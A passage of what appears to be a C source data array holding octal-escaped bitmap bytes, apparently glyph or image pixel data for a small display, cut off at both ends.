\"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374<<<<<<<<<<<<<<<<\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0 \\360\\360\\370\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\374\\360\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\37\\36\"\n  \"\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<<<<<<<<<<\\374\\374\\374\\374\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\377\\77\\177\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\77\\37\\7\\1\\0\\0\\0\\1\\7\\17\\77\\377\\376\\370\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\376\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\177\\377\\377\\376\\370\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\360\\370\\370x||<<<><<<<|\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\207\\377\\377\\377\\377\"\n  \"\\376\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376>\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\370\\374\\177\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\300\\340\\360xx<<<<<||\\374\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\77\\377\\377\\377\"\n  \"\\376\\360\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\177\\370\\340\\340\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360\\374\\377\\377\\177\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\7\\7\\7\\7\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\360\\370\\374|~>>\\36\\36\\36\\36\\36\\36\\36>>|\\374\\370\\370\"\n  \"\\360\\340@\\0\\0\\0\\340\\374\\377\\377\\377\\177\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\77\\177\\177\\376\\374\\370\\360\\340\\340\\300\\300\\300\\300\\300\\300\\300\\340\\340\\360\\360\\370\\374\"\n  \"x \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\"\n  \"\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\370\\370||<<><<<|x\\370\\360\\340\\300\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\340\\374\\377\\377\\377\\177\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\376\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360|\\77\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374||>>\\36\\36\\36\\36\\36\\36>>|\\374\\370\\370\\360\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\340\\376\\377\\377\\377\\337\\303\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\301\\377\\377\\377\\377\"\n  \"\\376\\200\\0\\0\\0\\177\\377\\377\\377\\377\\343\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\3\\17\\37\\77\\177\\377\\374\\370\\360\\340\\340\\340\\300\\300\\300\\300\\300\\300\\300\\340\\340\\360\\360\\370x\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\3\\3\\7\\7\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370||||||||\\370\\370\"\n  \"\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\7\\7\\1\\0\\0\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\374~>>\\36\\36\\36\\36\\36>>|\\370\\360\\370\\370\\274<\\36\\36\"\n  \"\\36\\36\\36\\30\\0\\0\\177\\377\\377\\377\\377\\343\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\377\\377\\377\\377~\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\203\\307\\357\\377\\77\\77>><<<<<>>\\37\\37\\17\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\17\\77\\277\\377\\374\\370\\370\\370\\370\\370\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\300\"\n  \"\\200\\0\\0\\0\\360\\374\\376\\377\\377\\317\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\201\\303\\377\\377\\377\"\n  \"\\377\\177\\0\\0\\0\\3\\7\\17\\17\\37\\37\\37\\36>>>>><<>>>>>\\37\\37\\37\\17\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\300\\340\\340\\360xx<<<<<||\\374\\374\\370\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\77\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<<\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<<<<<<\\374\\374\\374\\374\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\177\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\4\\16\\17\\37\\77>>|||||||<>\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374|<\\34\\14\"\n  \"\\4\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\200\\300\\340\\360\\370\\374\\376\\77\\37\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377>\\37\\17\\7\\7\\7\\37\\77\\177\\377\\376\\370\\360\\340\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\77\\177\\377\\376\\374\\370\\360\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\"\n  \"\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0xxxxxxxxxx\\370\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\376\\376\\376\\376\\376\\340\\370<\\34\\36\\36\\36~\\376\\376\\374\\370\\340\\360\\370<\\36\\36\\36\\36>\\376\\376\"\n  \"\\374\\374\\360\\0\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  